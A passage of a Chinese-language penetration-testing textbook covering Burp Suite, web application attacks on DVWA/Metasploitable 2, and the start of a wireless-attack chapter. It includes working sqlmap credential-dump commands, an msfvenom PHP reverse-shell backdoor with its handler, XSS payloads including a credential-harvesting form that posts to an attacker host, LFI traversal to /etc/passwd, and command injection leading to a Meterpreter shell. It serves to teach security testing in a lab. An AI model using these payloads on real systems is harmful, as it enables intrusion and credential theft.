  1. 点击“单词”按钮,并观察结果,如下图所示:

图 37:比较请求的结果

注意到 PHPSESSID 对于两个请求是相同的。这意味着 Web 应用程序不生成唯一的会话 ID,因为对于经过身份验证和未经身份验证的请求,ID 是相同的。因此,Web 应用程序容易受到会话固定攻击的影响。

扩展器

在这里,您可以通过使用 BApp Store 的扩展或使用第三方代码来扩展 Burp Suite 的功能。这些扩展使您能够自定义程序的功能,例如用户界面(UI)更改和添加自定义扫描检查。

使用 Extender 工具,我们可以使用 BApp Store 添加额外的扩展。例如,添加软件漏洞扫描器,如下图所示,扩展了内置漏洞扫描器的功能:

图 38:使用 BApp Store 添加扩展

一些扩展被详细说明为专业扩展,这意味着它们只能与 Burp Suite 专业版一起使用。在扩展选项卡下,您可以加载未在商店中列出的扩展。

摘要

在本章中,您已经了解了 Burp Suite 及其各种版本。您已经通过设置环境并学习如何通过利用互联网上免费提供的易受攻击的 Web 应用程序来准备您的实验室。您已经对 Burp Suite 中存在的各种工具有了很好的了解,并学会了如何通过在自己的实验室环境中使用实际示例来使用它们。

在下一章,第八章,攻击 Web 应用程序,我们将研究 Web 应用程序中存在的各种漏洞,并了解它们存在的原因和方式。我们将使用包括 Burp Suite 在内的各种工具对易受攻击的 Web 应用程序进行各种攻击。

问题

  1. Burp Suite 的中心是什么?

  2. 何时适合使用被动扫描?

  3. Repeater 用于什么?

  4. Intruder 工具中最全面的攻击方法是什么?

  5. 如何扩展 Burp Suite 的功能?

第八章:攻击 Web 应用程序

Web 应用程序是最受攻击的妥协方法。今天,我们有提供电子商务服务的 Web 应用程序,这是攻击者的目标,因为他们可以获取信用卡和个人可识别信息等详细信息。拥有互联网存在的企业必定拥有一个可以被公众访问的 Web 应用程序。Web 渗透测试需要技能和时间,了解 Web 应用程序的组件、攻击类型和可以使用的工具将帮助您在短时间内专注于可利用的漏洞。

在本章中,您将学习有关 Web 应用程序及其组件的知识。您将了解不同类型的 Web 应用程序安全测试以及渗透测试的相关知识。您还将了解 HTTP 协议的基础知识,以及在渗透测试过程中各个方面的相关内容。最后,您将学习一些常见的 Web 应用程序攻击以及如何利用 Kali Linux 中的一些工具通过直觉执行各种攻击。

随着本章的进行,您将学习以下主题:

  • 准备您的环境

  • Web 应用程序安全测试的类型

  • Web 应用程序的组件

  • 了解 HTTP 协议

  • 常见的 Web 应用程序攻击

  • 攻击 Web 应用程序

技术要求

为了跟随本章中的示例和说明,请确保您具备以下技术要求:

  • Kali Linux 2019.1

  • Metasploitable 2

准备您的环境

在本章中,我们将使用各种 Web 应用程序和工具。

在上一章中,您学习了如何使用 Burp Suite;在本章中,我们也将利用 Burp Suite 的一些部分。

请注意您的 Metasploitable 2 虚拟机的 IP 地址。在本章的各个部分,我们将积极使用这个 IP 地址。回顾一下,可以通过登录虚拟机(默认用户名和密码为msfadmin)并输入ifconfig命令来获取 IP 地址。

Web 应用程序安全测试的类型

有三种类型的 Web 应用程序测试,定义如下:

  • 动态测试:这种测试不需要 Web 应用程序的源代码。其目的是查找可能被攻击者从不受信任的位置(如互联网)利用的漏洞。

  • 静态测试:这种测试使用 Web 应用程序的源代码。它通过从 Web 应用程序内部寻找漏洞来工作,而不是试图从不受信任的位置攻击 Web 应用程序。

  • 渗透测试:这是本章将重点关注的测试类型。它涉及使用人为因素来模拟攻击者可能如何利用 Web 应用程序。它利用技能、直觉和各种工具。

Web 应用程序的组件

Web 应用程序已经从静态网页发展为提供多种功能的复杂应用程序。您可以将 Web 应用程序视为一个简单地在互联网上运行的普通计算机应用程序。

在本节中,我们将讨论 Web 应用程序的各个组件。

Web 应用程序架构

Web 应用程序架构是各种组件之间的交互。Web 应用程序架构的三种主要类型如下:

  • 单页应用程序(SPA):这些现在很常见,极简主义是 Web 应用程序的潮流。它们通过动态更新内容到当前页面来工作。异步 JavaScript 和 XMLAJAX)用于提供动态内容。这些类型的应用程序仍然容易受到攻击。

  • 微服务:这些是轻量级的,专注于单一功能。微服务利用各种编程语言,因此在这种架构中存在漏洞。

  • 无服务器:这利用处理服务器和基础架构管理的云提供商。这使应用程序可以在不必担心基础架构的情况下工作。这里存在诸如破损的身份验证、不充分的日志记录、不安全的应用程序存储等漏洞。

在这三种模型中,存在安全风险。因此,无论使用哪种模型,都需要进行渗透测试。

Web 应用程序语言

由于 Web 应用程序如此多样和动态,有几种语言用于编写 Web 应用程序。这些语言有时会以可能严重影响整个 Web 应用程序安全性的方式进行交互。

这些常用的语言是 Python、Ruby 和 Java。让我们看看这些语言的一些注意事项。

Python

Python 是一种经常使用的语言,因为它简单而强大。它创建了一个生态系统,可以在许多不仅与 Web 应用程序相关的不同应用程序中运行。

Python 使用一种称为pickles的序列化机制。序列化是创建可以存储并稍后恢复到其原始形式的数据的过程。使用pickles允许将对象转换为字节流,然后再转换回来。使用 pickles 可以用于各种事情,如 cookie 值和auth令牌。

示例 pickle 如下所示:

def verifyAuth(self, headers):
   try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

此函数正在接受一个 base64 编码的AuthToken,对其进行解码并检查其值。当然,如果被攻击者拦截,AuthToken可以被解码。或者,攻击者可以编写一个利用程序来创建修改后的AuthToken

这只是 Web 应用程序开发人员可能忽视的安全漏洞的一个方面。

Ruby

Ruby 是一种流行的语言,用于 Web 应用程序,因为 Ruby on Rails。 Ruby on Rails 是一个框架,包括开发人员创建利用数据库的 Web 应用程序所需的一切。该框架可免费使用,社区积极为其做出贡献,这使其成为一种受欢迎的选择。

Ruby 也容易受到攻击,例如使用字符串插值的漏洞。字符串插值允许您替换 Ruby 代码的结果。

例如,以下代码将输出Hello User!,因为#{}中定义的任何内容都将被评估:

name = "User"
puts "Hello, #{name}!"

修改字段为#{%x['ls']}将欺骗服务器列出其目录结构。

由于 Ruby 用于快速部署 Web 应用程序,可能会出现我们刚讨论过的漏洞。在 Ruby 中存在许多其他可以利用的漏洞,这些漏洞是由于 Ruby 内部的糟糕编码而产生的。

Java

Java 是一种存在已久的编程语言。它被广泛使用,不仅用于 Web 应用程序。也就是说,它以存在安全漏洞而闻名。这些漏洞影响编程语言的各个方面,以及利用它的应用程序。要了解 Java 中存在的漏洞数量以及它如何跨多个应用程序或操作系统,只需在 Rapid 7 的漏洞和利用数据库中搜索Java。如下截图所示,结果令人震惊:

图 1:存在的 Java 漏洞列表

您可以通过访问www.rapid7.com/db/?q=Java&type=nexpose来获取最新的搜索结果。

今天存在许多其他 Web 应用程序语言,没有一种是没有漏洞的。在进行渗透测试时,识别基础编程语言将帮助您专注于可能存在的漏洞。

理解 HTTP 协议

超文本传输协议HTTP)是一种客户端-服务器协议。Web 浏览器被归类为客户端,它向服务器发出请求,服务器将对请求进行响应。默认情况下,HTTP 使用端口80,但如果需要,可以配置此端口。

HTTP 是无状态的,这意味着服务器不会存储与向其发出请求的各个用户相关的任何信息。例如,您可以向 Web 应用程序发送多个请求,它们将被单独处理。HTTP 也是明文协议,因此通过 HTTP 发送的任何敏感信息都可以使用诸如 Wireshark 之类的工具进行嗅探:

图 2: 通过 HTTP 传输的明文凭据

SSL 用于保护数据,使用的协议是超文本传输安全协议HTTPS)。默认情况下,HTTPS 在端口443上运行,如果需要,也可以重新配置。

让我们来看一些 HTTP 请求和响应。

HTTP 请求和响应

当客户端向服务器发送请求时,这称为 HTTP 请求。在此 HTTP 请求中,我们有标头和正文。标头包含请求、cookie 和编码信息等信息。正文包含将要交换的实际数据。

在以下屏幕截图中,我们有一个 HTTP 请求头的示例:

图 3: HTTP 请求头

第一行以GET请求方法开始,然后是所请求的/download.html资源,以及 HTTP 版本,即HTTP/1.1

在 HTTP 请求头中还可以找到一些其他请求方法。这些如下:

POST 用于向服务器发送数据。
DELETE 用于删除文件。
PUT 用于上传文件。
HEAD 用于仅GET HTTP 标头。

此标头中有一些字段。让我们看看相关字段:

  • 主机: Web 服务器可能托管多个站点。此字段用于定义我们要访问的主机。

  • 用户代理: 此字段定义用于访问主机的客户端。

  • Cookie: 这是为了跟踪会话信息而交换的。

  • 引用者: 此字段将显示您是否已从另一个 URL 重定向。攻击者将操纵引用字段以将用户重定向到恶意网站。可以使用 XSS 进行此操纵。

当服务器响应时,它将以 HTTP 响应方式响应,其结构与 HTTP 请求类似。在以下屏幕截图中,我们有一个 HTTP 响应的示例:

图 4: HTTP 响应示例

在第一行,我们有一个状态码为200。可能出现的各种代码定义如下:

状态码 定义 示例
1xx 信息 100: 服务器同意处理客户端请求
2xx 成功 200: 请求成功
3xx 重定向 301: 页面已移动
4xx 客户端错误 403: 禁止页面
5xx 服务器错误 500: 内部服务器错误

有关状态代码的完整列表,请访问以下网址:www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

在响应中,我们有一些有趣的字段:

  • 服务器: 此字段定义 Web 服务器的服务器版本。立即,我们可以看到一些可以在渗透测试中使用的侦察信息。

  • Set-cookie: 在前面的屏幕截图中未设置此项。此字段将填充一个 cookie 值,服务器将使用该值来识别客户端。

常见的 Web 应用程序攻击

网络应用程序的攻击和向量正在迅速发展。随着使用互联网的人数增加,企业必须适应并利用复杂的网络应用程序为客户甚至员工提供服务。将这些应用程序放在互联网上显然会使它们面临风险。大多数企业都认真对待安全问题,并且通过使用各种软件开发生命周期,有一些真正安全的网络应用程序存在。

然而,随着安全措施变得更加严格,攻击也变得更加强大。除了攻击变得更加复杂之外,还存在人为错误的因素。只需要一小段编写不良的代码就可以利用网络应用程序。

在本节中,我们将考虑一些今天存在的常见网络应用程序攻击。

包含攻击(LFI/RFI)

文件包含漏洞存在于编写不良的网络应用程序中。这种类型的漏洞允许攻击者向服务器上的文件提交数据,甚至上传文件。

本地文件包含LFI)漏洞涉及网络应用程序和底层操作系统上的本地文件。如果利用了这种漏洞,攻击者将能够读取和执行文件或代码。

远程文件包含RFI)漏洞涉及执行远程到网络应用程序的代码。在这种攻击中,攻击者可以在远程位置的服务器上托管易受攻击的代码。然后攻击者可以利用网络应用程序访问远程服务器并执行代码。

跨站请求伪造(CSRF)

要理解 CSRF,让我们退一步来谈谈网络应用程序如何处理会话。在使用 HTTP 时,跟踪用户身份验证是通过 cookie 来完成的。Cookie 通常应该是安全的,具有强大的加密强度和熵,并且应该通过安全通道传输,如 HTTPS。

当浏览器提交该 cookie 到一个网站而不检查请求的来源时,这就留下了一个漏洞,CSRF 就利用了这个漏洞。CSRF 涉及攻击者使用恶意代码向目标网站发出请求,看起来好像是从原始发送者发出的。合法的 cookie 被使用,并且伪造的请求将被发送到目标网络应用程序。网络应用程序将找到并接受这个伪造的请求,因为它有一个有效的 cookie,并且请求中定义的操作将被处理。

为了使 CSRF 起作用,需要满足一些条件:

  • 被攻击的网络应用程序不应该检查 HTTP 头中的引用者。

  • 这允许网络应用程序接受来自外部页面的请求。

  • 网络应用程序将接受来自 URL 或表单的数据修改。

  • 攻击者必须能够确定网络应用程序所期望的所有输入值。例如,当重置密码时,网络应用程序会寻找密码和可能的密码确认的值。

  • 被攻击的用户必须加载恶意页面。

CSRF 攻击的一个例子是一个恶意页面,其中包含多个图片。当无意中的用户被引导到这个页面时,图片会加载。一些图片可能是一个动作,导致浏览器向目标网络应用程序发出某些请求。

跨站脚本(XSS)

XSS 是在网络应用程序中发现的最常见的漏洞之一。这种类型的攻击已经在OWASP 十大漏洞列表上存在了一段时间。这种攻击利用注入技术,允许攻击者执行可以执行各种目的的脚本。浏览器会执行这个脚本,因为它认为这个脚本来自网络应用程序。

跨站脚本可以分为三种不同类型。这些类型定义如下:

  1. 持久型(类型 1):在这种 XSS 类型中,恶意输入被存储在目标服务器中。例如,它可以存储在其数据库、论坛和评论字段中。

  2. 反射型 XSS(类型 II):在这种 XSS 类型中,数据立即由 Web 应用程序返回。这可以通过错误消息、搜索查询或任何其他响应来实现。这里的主要点是数据是由请求返回的。

  3. 基于 DOM 的 XSS(类型 0):在这种 XSS 类型中,漏洞存在于客户端而不是服务器端。例如,服务器端的 HTML 页面不会改变,但在客户端,由于文档对象模型DOM)环境的修改,页面会以不同的方式执行。

当攻击者利用 XSS 攻击时,可以访问诸如 cookies、会话密钥和其他敏感信息之类的组件。

SQL 注入(SQLi)

SQLi 攻击已经存在很长时间了,但它们在今天编写不良的 Web 应用程序中仍然有效。这种攻击适用于使用后端数据库的 Web 应用程序,如 Microsoft SQL 和 MySQL。

当这种攻击成功时,可以访问敏感信息。可以修改数据库中的数据(删除、更新和添加),并且可以绕过身份验证和授权控制。

有各种类型的 SQL 注入攻击。其中一些定义如下:

  • 基于错误的攻击:这种攻击通过向数据库提供无效的命令来实现。这通常是通过需要输入的 Web 应用程序的部分完成的,例如用户输入。当输入这些无效的命令时,我们希望服务器会以包含详细信息的错误回复。例如,服务器可能会回复其操作系统、版本,甚至完整的查询结果。

  • 基于联合的攻击:这种攻击利用UNION运算符来扩展查询的结果,最终允许攻击者运行多个语句。关键是结构必须与原始语句保持一致。

  • 盲注入攻击:这种攻击之所以被称为,是因为没有显示错误消息。在这种攻击中,通过一系列的真假查询来查询数据库,以获取可用于攻击的信息。

了解这些攻击是有益的,因为它们将帮助您在渗透测试期间使用正确类型的攻击。我们将利用一个名为sqlmap的工具,在本章后面执行一些 SQL 注入攻击。

命令执行

命令执行是一种攻击,通过这种攻击可以执行面向操作系统的命令,通过易受攻击的 Web 应用程序实现。这是由一个将不安全的用户输入传递给服务器的应用程序实现的。

命令执行攻击可能导致严重的妥协,这取决于您可以执行什么类型的系统命令以及 Web 应用程序的特权级别。

攻击 Web 应用程序

作为渗透测试人员,您不应该仅仅依赖于可以用于 Web 应用程序攻击的工具。对它们有很好的了解肯定会在您的渗透测试中有所帮助,因为您可能会时间紧迫。

在本节中,我们将讨论各种工具,并看看如何使用它们来对抗各种 Web 应用程序。

Nikto

Nikto 是默认包含在 Kali Linux 中的 Web 服务器扫描程序。它能够提取或识别以下信息:

  • 服务器版本

  • 潜在危险的程序或文件

  • 服务器配置项

  • 已安装的 Web 服务器

Nikto 的一些主要特点如下:

  • SSL 支持

  • HTTP 代理支持

  • 使用输入文件扫描多个目标的能力

  • 调整扫描引擎的能力

Nikto 并不是设计为隐秘的。在渗透测试中使用这个工具很可能会被 IPS/IDS 检测到。

使用 Sqlmap

Sqlmap 是一个默认包含在 Kali Linux 中的开源工具。它用于自动检测和利用 SQL 注入漏洞,以及接管 Web 应用程序的数据库。它利用了一系列选项,允许指纹识别、数据访问、执行等。

sqlmap的语法是sqlmap <options>

sqlmap的特点如下:

  • 支持多种 SQL 产品,如 MySQL、PostgreSQL、Microsoft SQL、Oracle 和 SQLite。

  • 它支持 SQL 注入技术,如布尔盲注、基于时间的盲注、堆叠查询、基于错误的注入、UNION 查询和带外带。

  • 它有能力枚举用户、密码哈希、权限等。

  • 它有能力识别密码哈希的类型,并支持使用字典攻击来破解它。

  • 它有能力与数据库的底层操作系统进行交互。这可以用于下载或上传文件,使用交互式命令提示符或 Meterpreter 会话创建反向 shell,或执行命令。

  • 它支持将整个数据库或其中的特定部分,如特定列或一系列条目或字符,导出为文件。

  • 它有能力利用 Meterpreter getsystem命令进行权限提升。

现在我们已经简要概述了 Sqlmap,让我们看看这个工具的实际操作。我们将使用这个工具对内置在 Metasploitable 2 中的Damn Vulnerable Web Application(DVWA)执行一些攻击。

使用 Sqlmap 执行攻击

让我们看看如何使用 Sqlmap 对默认安装在 Metasploitable 2 中的 DVWA 执行各种攻击。

信息收集

我们将首先进行一些信息收集。在执行任何攻击之前,让我们看看我们可以获得什么信息:

  1. 在 Kali Linux 中使用 Firefox ESR,导航到您的 Metasploitable 2 IP 虚拟机的 IP 地址。点击 DVWA,并使用以下凭据登录:
  • 用户名admin

  • 密码password

  1. 在左侧导航窗格上点击 DVWA Security,并在脚本安全下选择低。然后,点击提交:

图 5:将 DVWA 安全级别设置为低

  1. 接下来,点击 SQL 注入,并在用户 ID 字段中输入数字 1。在点击提交之前,请确保您已启用 Burp Suite 代理,并且您的浏览器已配置为使用 Burp Suite 代理。一旦代理启用,点击提交。

  2. 注意被拦截的字段。我们对cookiePHPSESSID感兴趣:

图 6:DVWA SQLi 拦截

  1. 我们将首先尝试使用--dbs选项枚举所有数据库。为此,我们将使用我们捕获的cookiePHPSESSID值。我们将使用的命令如下:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" --dbs

在这个命令中,我们使用-u参数定义目标 URL。这个 URL 是 DVWA Web 服务器(Metasploitable 2)的 IP 地址,带有GET请求(/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit)。我们指定cookiePHPSESSID值,并使用--dbs选项列出所有数据库。

注意以下输出。Sqlmap 能够识别数据库,并询问我们是否要继续测试其他数据库:

图 7:Sqlmap 数据库识别

  1. 我们将选择Y跳过特定于其他 DMBS 的测试有效负载,N用于之后提示的问题。一旦sqlmap完成,它将为您提供一些有价值的信息。在这里,我们已经确定了一些注入点,有关底层操作系统的信息,以及存在的数据库名称:

图 8:具有有价值信息的 Sqlmap 输出

我们可以使用-f选项来对数据库进行指纹识别,如下所示:

sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -f

我们得到以下输出:

图 9:确定软件版本

现在我们已经获得了与 DVWA 相关的信息,让我们进一步进行一些额外的攻击。

从 SQL 表中转储用户详细信息

我们将执行的下一个攻击是从 SQL 数据库中获取用户信息。为此,我们将针对dvwa数据库。让我们开始吧:

  1. 使用以下命令获取 DB 中的当前表:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --columns

在这个命令中,我们正在寻找与dvwa数据库(-D dvwa)相关的列(--columns)。请注意,在输出中,我们有一个有趣的表,列出为users,列如firstnamelastnameuseridpassword

图 10:dvwa数据库中用户表的列

现在我们已经确定了一个有趣的表,让我们继续转储表,看看我们是否能够使用字典攻击破解哈希。

  1. 通过以下命令,我们将转储所有表的表条目:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --dump

在这个命令中,我们使用--dump选项来查看dvwa数据库中所有表的所有条目。当命令运行时,sqlmap将询问是否应该使用字典攻击来尝试破解密码。选择yes选项,sqlmap将提示输入字典文件。对于这个演示来说,使用内置的字典文件就足够了。注意输出;您将看到我们已经转储的用户表,以及其中所有的详细信息,包括每个用户的密码的哈希形式和明文形式:

图 11:使用 Sqlmap 转储的用户详细信息

在本节中,我们已经看到了 Sqlmap 的有效性。使用这个工具可以在渗透测试中有时间限制时自动化一些攻击。我们特别看了如何进行信息收集,枚举表格和提取用户凭据。Sqlmap 还有很多其他功能,所以它是您渗透测试工具包中必不可少的工具。

使用 PHP 创建后门

让我们看看如何使用恶意的php文件来创建一个对 web 应用程序的基础操作系统的后门。在这里,我们将使用 DVWA,因为它允许我们上传文件。

确保 DVWA 的安全级别设置为低。默认的用户名是admin,密码是password

我们将使用 MSFvenom 创建一个 PHP 文件,该文件将为我们提供一个反向 shell。用于监听连接的处理程序将在 Metasploit 中设置。步骤如下所示:

  1. 在 Kali Linux 的终端窗口中,输入以下命令创建一个恶意的 PHP 后门:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Attacker IP Address> LPORT=<Port to connect to> -f raw > msfv-shell.php

在这个命令中,我们将 payload(-p)定义为php/meterpreter_reverse_tcp,然后我们定义攻击机器的 IP 地址(LHOST)和反向 shell 将建立的端口(LPORT)。我们不使用任何编码器;我们只想要原始的php文件(-f raw)。文件名应该是msfv-shell.php> msfv-shell.php)。

  1. 生成 PHP 文件后,我们将把它上传到 DVWA。登录到 DVWA,然后导航到左侧的上传部分。点击浏览...,然后导航到创建msfv-shell.php文件的位置。然后,选择它。文件上传后,注意上传的位置:

图 12:上传了 MSFVenom 恶意 PHP 文件

  1. 在连接到上传的 PHP 页面的位置之前,我们需要在 Metasploit 中设置一个处理程序。为此,我们将使用msfconsole命令打开 Metasploit Framework。

  2. Metasploit Framework 加载后,我们将使用以下命令创建处理程序:

use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit
  1. 处理程序创建后,我们可以导航到上传位置,然后点击 msfv-shell.php 文件:

图 13:访问恶意的 PHP 文件

  1. 一旦文件被访问,在 Metasploit 控制台上,你将拥有一个 Meterpreter 会话:

图 14:建立反向 Meterpreter shell

从这里,你可以选择进入系统 shell,上传/下载文件等。

执行 XSS 攻击

在这里,我们将使用 DVWA 并查看如何执行反射型和存储型 XSS 攻击。我们将保持 DVWA 的安全级别设置为低。

执行反射型 XSS 攻击

在这种情况下,我们将执行反射型 XSS 攻击。在这种攻击中,我们将向 Web 应用程序发送一个请求,迫使它显示一些敏感信息。我们将按照以下方式执行攻击:

  1. 登录到 DVWA 并点击 XSS Reflected。这个页面的默认操作是简单地echo你放入字段中的任何输入。因此,我们将尝试强制应用程序为我们提供诸如cookiePHPSESSID之类的信息。

  2. 在“你叫什么名字?”字段中,我们将输入一个简单的脚本,它将为我们提供我们正在寻找的cookiePHPSESSID数据。输入以下命令:

<script>alert(document.cookie);</script>

在这个脚本中,我们告诉 Web 应用程序通过提供弹出窗口来警报我们。在这里,我们调用document.cookie,它将提供当前的cookiePHPSESSID值。注意输出;我们现在有了我们想要的cookiePHPSESSID值:

图 15:使用反射型 XSS 提供敏感数据

现在我们已经获得了所有必需的细节,我们将尝试在这个页面中注入一个表单,以欺骗用户输入他们的凭据。我们还将强制 Web 应用程序将输出发送到其他地方,而不是在屏幕上弹出:

  1. 在 Kali Linux 中打开一个终端窗口。我们将使用nc -lvp 80命令在端口80上创建一个netcat简单的 Web 服务器。在这个命令中,我们使用nc命令启动netcat-l开关用于启用监听模式,v用于详细输出,p定义我们将监听的端口号。一旦命令被执行,netcat将监听连接。

  2. 在相同的 XSS Reflected 页面上,输入以下脚本:

<h3>Please login to proceed</h3> <form action=http://192.168.34.153>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

在这个脚本中,我们创建了一个简单的表单,要求输入usernamepassword。注意form action=字段。在这里,我们使用了攻击者 PC(Kali Linux)的 IP 地址,我们在那里启动了netcat监听器。

  1. 现在,一个表单被显示出来。输入一个随机的usernamepassword,然后点击 Logon:

图 16:使用 XSS 注入恶意表单

一旦你点击 Logon,看一下你在启动netcat监听器的终端上的输出。Web 应用程序已经将登录请求发送到我们的监听器,并且凭据以明文形式可见:

图 17:在 netcat 监听器上捕获的登录请求

通过利用反射型 XSS 可以进行许多其他攻击,但关键是这种漏洞的严重性。正如我们所看到的,可能获取敏感数据,这可能对任何具有易受攻击的 Web 应用程序的组织造成损害。

执行存储型 XSS 攻击

让我们看看如何执行存储型 XSS 攻击。在这里,我们将使用 DVWA 的 XSS Stored 部分。我们将尝试再次获取cookiePHPSESSID

  1. 登录到 DVWA 并点击 XSS stored。在这里,我们有一个人们可以签名的留言簿。我们将尝试在消息字段中输入一些代码。

  2. 为名称输入任何值,然后使用我们之前使用的相同脚本:

<script>alert(document.cookie);</script>
  1. 一旦你点击“Sign guestboo”,cookiePHPSESSID的详细信息将被显示:

图 18:使用存储的 XSS 提供敏感数据

由于这是存储的 XSS 攻击,如果您导航到 DVWA Web 应用程序的另一部分并返回到 XSS 存储,弹出窗口将自动出现,因为恶意脚本存储在数据库中。

执行文件包含攻击

让我们执行本地和远程文件包含攻击。这两种攻击都将在 DVWA 上进行,我们将保持 DVWA 的安全级别设置为低。

对于 LFI 攻击,我们将尝试在 Web 服务器上浏览本地文件。在 Linux 操作系统上存在的有价值的文件是/etc/passwd文件。让我们开始:

  1. 一旦我们登录到 DWVA,点击左侧的文件包含。

  2. 让我们尝试导航到/etc/passwd文件。由于我们不知道 Web 应用程序正在操作的本地工作目录是什么,我们将使用一系列字符来执行目录遍历。在地址栏中,在?page=后添加../../../../../etc/passwd,如下面的屏幕截图所示。在目录遍历中使用../用于返回到上一个目录。这里需要进行实验,因为您可能不知道服务器的目录结构中目标 Web 应用程序的位置:

图 19:使用 LFI 进行目录遍历

  1. 一旦您按下Enter,您将获得大量输出。在输出中,您将找到/etc/passwd文件的内容:

图 20:暴露的/etc/passwd 文件内容

通过使用 LFI 攻击,您可以做的不仅仅是暴露系统文件。您还可以上传文件到 Web 服务器并启动反向 shell。

执行命令执行攻击

我们将使用 DVWA 并查看如何执行命令执行攻击。我们将保持 DVWA 的安全级别设置为低:

  1. 登录到 DVWA 应用程序,然后单击左侧的命令执行。

  2. 让我们尝试执行一个简单的命令,比如列出当前目录。由于表单需要 IP 地址,我们将定义一个 IP,但使用附加命令使用附加字符&&。为了列出目录,我们将使用-ls -la。完整的注释将是192.168.34.153 && ls -la

在这个命令中,我们正在定义一个随机 IP(我正在使用我的 Kali 虚拟机的 IP)并使用&&附加一个额外的命令。这个命令正在列出ls目录。我们可以通过使用长列表-l查看这些文件,并包括所有文件a。这是我们收到的输出:

图 21:命令执行攻击

在这里,我们有实际的 ping 命令,但在底部,我们有当前目录的列表。现在,我们知道命令执行是可能的。让我们看看是否可以使用 Metasploit 获得远程 shell。

  1. 从终端窗口,我们将使用msfconsole命令启动 Metasploit 框架。

  2. 我们将使用脚本交付利用。输入use exploit/multi/script/web_delivery命令,然后show options查看可用选项:

图 22:在 Metasploit 中加载利用

  1. 现在,我们需要定义目标。通过使用show targets命令,我们可以看到这个利用将适用于哪些目标。在我们的情况下,我们将使用PHP

图 23:利用可用的目标

  1. 现在,我们将配置利用。设置以下选项:
set Target 1
set LHOST 192.168.34.153
set LPORT 1337
set payload php/meterpreter/reverse_tcp

请记住,LHOST是您的 Kali 虚拟机 IP,LPORT可以是任意随机端口号。我们使用的有效载荷是反向 TCP meterpreter shell。您可以使用show options命令确认您的选项:

图 24:配置利用选项

  1. 配置这些选项后,使用run命令运行利用。注意输出。突出显示的代码是我们将在命令执行攻击中使用的,用于将反向 shell 生成到我们的攻击系统。复制该代码,并且不要关闭终端窗口或退出 Metasploit:

图 25:使用反向 PHP 脚本定义的利用正在运行

  1. 返回到 DVWA 中的命令执行页面。现在,输入一个 IP 地址,并使用&&和 Metasploit 生成的代码进行追加:

图 26:使用命令执行攻击运行恶意脚本

一旦您点击提交,您将启动一个meterpreter会话。返回到您配置利用的终端窗口。

  1. 您现在会看到您已经启动并运行了meterpreter会话。按下Enter将带您返回到利用配置页面,但您的会话仍将保持建立状态。您可以使用sessions -i命令来检查这一点。要访问此会话,请使用sessions -i [会话 ID]命令:

图 27:Meterpreter 会话已建立

  1. 从这里开始,您将能够利用 Meterpreter 的全部功能。您可以使用shell命令访问操作系统 shell。从这里,您将能够进一步发动攻击:

图 28:访问操作系统 shell

正如我们所见,通过这次攻击,您有许多选项可用于进一步利用。使用 Metasploit Framework 等工具可以轻松利用命令执行漏洞。

总结

在本章中,您已经了解了 Web 应用程序及其架构,以及它们的组件。您已经了解了不同类型的 Web 应用程序测试,我们专门关注了渗透测试。您深入了解了 HTTP 协议以及请求和响应头中的详细信息。最后,您学习了各种 Web 应用程序攻击以及如何在测试环境中执行它们。

在第九章中,开始无线攻击,我们将讨论无线架构、它们的攻击以及如何执行它们。

问题

  1. 列举三种 Web 应用程序架构中的一种。

  2. HTTP 和 HTTPS 之间有什么区别?

  3. 在 HTTP 响应头中可以操纵什么来执行 XSS 攻击?

  4. 列举两种 Web 应用程序攻击类型。

  5. 什么工具可以用来创建 PHP 后门有效负载?

第九章:开始无线攻击

无线行业继续增长,无线设备的数量不断增加。一般家庭拥有访问点、媒体中心、电话、游戏机、个人电脑,甚至安全系统。企业依赖无线网络以提高员工在公司内外自由移动的便利性。能够自由访问网络的缺点是,它使网络容易受到漏洞的攻击。因此,公司识别和修复无线网络中的漏洞是很重要的。

在本章中,您将学习无线攻击以及如何执行它们。我们将讨论无线数据包的各个组成部分,比如信标帧,以及数据包中包含的内容。您将了解可以用于无线数据包注入和监视的无线适配器的类型。我们将深入探讨可以用于执行不同攻击的各种工具。最后,您将学习如何破解各种无线加密协议。

随着本章的进行,您将学习以下主题:

  • 探索无线攻击

  • 兼容的硬件

  • 无线攻击工具

  • 破解 WPA/WPA2 和 WEP

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

  • 兼容数据包注入的网络适配卡

  • 支持 WPA/WPA2 和 WEP 的无线路由器

探索无线攻击

无线网络从一个“好有”发展到组织中的一个“必须有”的需求。无线网络几乎无处不在。例如,您可能在家里运行无线网络以便接入互联网。这种接入可以让移动电话、智能电视、媒体播放器、游戏机、平板电脑和个人电脑随时连接到互联网。您的邻居可能也有类似的设置。

在企业中,无线网络是一个强大的工具,可以提高生产力并促进信息交流。员工可以自由漫游,并且无线网络提供了简单性、易用性、方便性和客人的网络访问,以及在难以到达的区域的网络访问。

遗憾的是,无线设备通常缺乏安全性,这导致了严重的漏洞。公司通常没有对无线设备进行安全配置,甚至有些公司可能会使用默认配置的无线设备。

了解无线网络的工作原理,以及各种加密算法和对无线网络的攻击,如果您想进行成功的渗透测试,这是至关重要的。

无线网络架构

在对无线网络进行盲目的渗透测试之前,了解无线网络的架构是很重要的。这将帮助您对不同的模式有一个很好的理解,并且从渗透测试的角度来看,了解哪些类型的无线帧是重要的。

无线网络有两种主要模式:

  • 基础设施模式

  • 点对点模式

